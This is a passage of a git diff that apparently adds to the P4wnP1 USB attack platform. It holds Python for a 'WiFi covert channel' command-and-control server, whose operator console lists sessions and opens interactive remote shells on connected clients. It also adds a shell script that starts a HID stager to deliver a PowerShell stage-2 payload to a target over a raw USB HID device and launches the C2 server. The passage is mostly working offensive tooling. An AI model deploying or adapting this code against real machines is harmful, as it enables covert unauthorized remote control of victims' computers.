req.print_out() + + cl_sock = q.provideNewClientSocket(self.srvID) + if cl_sock == None: + logging.debug("No additional connections possible") + # no need to send a connection reset, as the client is still in initial state and continues trying to connect + return + + cl_sock.clientIV = iv + cl_sock.clientIVBytes = req.pay1[1:5] + + resp = cl_sock.handleRequest(req) + print("... InRsp1: Handing out client ID {0}".format(resp.clientID)) + self.sendResponse(resp) + # ClientSocket for given IV exists already + else: + resp = con_pending_open.handleRequest(req) + if resp != None: + self.sendResponse(resp) + else: + logging.debug("unhandled request") + req.print_out + #logging.debug("Received continuos stage1 request for socket which is not in pending_open state") # shouldn't happen (only if IV is reused) + # ToDo: send reset + else: + cl_sock = q.getConnectionByClientID(req.clientID) + if cl_sock != None: + resp = cl_sock.handleRequest(req) + if resp != None: + self.sendResponse(resp) + else: + logging.debug("Clientsocket has no response for following request") + req.print_out() + else: + logging.debug("No target socket for following request from clientID {0}, sending reset...".format(req.clientID)) + req.print_out() + resp = Packet.generateResetPacket(req, self.srvID, Packet.CON_RESET_REASON_INVALID_CLIENT_ID) + self.sendResponse(resp) + + + def getOpenClientSockets(self): + return self.__connection_queue.getConnectionListByState(ClientSocket.STATE_OPEN) + + def accept(self): + # type: () -> ClientSocket + + # ask connection queue for the first connection in Connection.STATE_PENDING_ACCEPT + # if there's no connection, passive wait for a state change + # repeat till there's a connection in state Connection.STATE_PENDING_ACCEPT and return it + # before returning, set state to open + + logging.debug("Entering accept()") + + while self.isListening: + cons_pa = self.__connection_queue.getConnectionListByState(ClientSocket.STATE_PENDING_ACCEPT) + if len(cons_pa) == 0: + # no pending connection, passive wait and retry + self.__connection_queue.waitForPendingAcceptStateChange() + continue + else: + # pending connection found + result_con = cons_pa[0] + + result_con.state = ClientSocket.STATE_OPEN + logging.debug("...returning from accept") + return result_con + + + +import cmd + +class Server(cmd.Cmd): + def __init__(self, srvID=9, max_clients=3): + self.serv_socket = ServerSocket() + self.serv_socket.bind(srvID) + self.serv_socket.listen(max_clients) + #self.client_socks = [] + + self.server_sock_thread = Thread(target = self.__connection_handler, name = "Server connection handler thread", args = ()) + self.server_sock_thread.start() + + self.prompt = "MaMe82 WiFi covert channel > " + cmd.Cmd.__init__(self) + + def exit(self): + print("Exitting server ...") + self.serv_socket.unbind() + + def __connection_handler(self): + try: + while self.serv_socket.isListening and self.serv_socket.isBound: + con = self.serv_socket.accept() + if con == None: + continue + logging.debug("Accepted new client ID: {0}".format(con.clientID)) + #self.client_socks.append(con) + #con.print_out() + + finally: + # ToDo: disconnect all client sockets + self.serv_socket.unbind() + + def __check_for_clientID(self, clientID): + # type: (int) -> bool + client_socks = self.serv_socket.getOpenClientSockets() + for c in client_socks: + if c.clientID == clientID: + return True + return False + + def __get_client_sock_by_ID(self, clientID): + # type: (int) -> ClientSocket + client_socks = self.serv_socket.getOpenClientSockets() + for c in client_socks: + if c.clientID == clientID: + return c + return None + + def __interact(self, clientID): + # grab clientSocket + cs = self.__get_client_sock_by_ID(clientID) + if cs == None: + print("No session for clientID {0} found".format(clientID)) + return + + interact = True + print("Start interacting with remote process of client {0} ... Press for menu".format(clientID)) + while interact: + try: + #raise KeyboardInterrupt + if select([sys.stdin], [], [], 0.1)[0]: # 100 ms timeout, to keep CPU load low + input = sys.stdin.readline() # replace readline by accumulation of input chars til carriage return + #input = input.replace('\n', '\r\n') + input = input.replace('\n', '\r\n') + + #print(input) + cs.send(input) + + + except KeyboardInterrupt: + print("\nInteraction with clientID {0} paused.\nWhat do you want to do ?".format(cs.clientID)) + print("\t0: Continue interaction") + print("\t1: Background the session") + print("\t2: Restart the client (connects back again)") + print("\t3: Exit the client (Warning: client won't connect back again)") + #print("\t4: [not implemented] Clear in- and outqueue (long output pending)") + + hasChosen = False + options = [0, 1, 2, 3, 4, 5] + while not hasChosen: + given = raw_input("Choose option: ") + try: + selection = int(given) + except ValueError: + print("Invalid option") + continue + + if selection in options: + break + else: + print("Invalid option") + + if selection == 0: + # do nothing + pass + elif selection == 1: + interact = False + continue + elif selection == 2: + interact = False + cs.disconnect(Packet.CON_RESET_REASON_UNSPECIFIED) + continue + elif selection == 3: + interact = False + # ToDo: client couldn't be deleted from connections list with state open, as it currently doesn't respond to kill and thus we have to resend it to assure reception + cs.sendCtlMessage(Packet.CTLM_TYPE_KILL_CLIENT, "") + continue + elif selection == 4: + + print("This option is under development") + else: + # ToDo + print("Option not implemented") + + + while cs.hasInData(): + inchunk = cs.read(cs.mtu) + if len(inchunk) > 0: + #print("inchunk: {0}".format(inchunk)) + sys.stdout.write(inchunk) + else: + logging.debug("Empty packet") + + + def emptyline(self): + pass # don't repeat last line + + def do_sessions(self, line): + client_socks = self.serv_socket.getOpenClientSockets() + for csock in client_socks: + print("{0}: Session clientID {0}, clientIV {1}".format(csock.clientID, csock.clientIV)) + + def do_interact(self, line): + inval_id = "You have to provide a valid client ID (see 'sessions' command)" + try: + clientID = int(line) + except ValueError: + print(inval_id) + return + + if not self.__check_for_clientID(clientID): + print(inval_id) + return + self.__interact(clientID) + + def do_exit(self, line): + self.exit() + return True + + + + + +##### MAIN CODE ##### +srv = Server(srvID=9, max_clients=15) +try: + srv.cmdloop(intro=None) +except KeyboardInterrupt: + srv.exit() +finally: + srv.exit() + + +#SERVER_ID = 9 +#serv_socket = ServerSocket() +#serv_socket.bind(SERVER_ID) +#serv_socket.listen(7) + + +#try: + #while True: + #con = serv_socket.accept() + #logging.debug("accepted connection:") + #con.print_out() + #shell = ClientShell(con) + #shell.cmdloop() + + ## we directly interact with the first connection, till a connection handler is implemented + ##time.sleep(1) +#finally: + #serv_socket.unbind() + + diff --git a/dist/scripts/wifi_covert_channel.sh b/dist/scripts/wifi_covert_channel.sh new file mode 100644 index 0000000..9201217 --- /dev/null +++ b/dist/scripts/wifi_covert_channel.sh @@ -0,0 +1,30 @@ +#!/bin/bash + +# use CLI client to determine raw HID device +hidraw=$(P4wnP1_cli usb get device raw) + +# exit if HID raw device isn't up +if [ "$hidraw" = "" ]; then + echo "no raw HID device found, aborting"; + exit +fi + +echo "Kill old hidstager processes ..." +ps -aux | grep hidstager.py | grep -v grep | awk {'system("kill "$2)'} + +echo "Starting HID stager for WiFi covert channel payload" + +# start HID covert channel stager (delivers PowerShell stage2 via raw HID device) +# the '-s' parameter terminates the stager after every successfull stage2 delivery +/usr/local/P4wnP1/legacy/hidstager.py -s -i /usr/local/P4wnP1/legacy/wifi_agent.ps1 -o $hidraw & + +if ! ps -aux | grep wifi_server | grep -q -v grep; then + echo "Start WiFi covert channel server and attach to screen session..." + # start WiFi covert channel server + screen -dmS wifi_c2 bash -c "/usr/local/P4wnP1/legacy/wifi_server.py" +else + echo "HID covert channel server already running" +fi + + +P4wnP1_cli led -b 3 \ No newline at end of file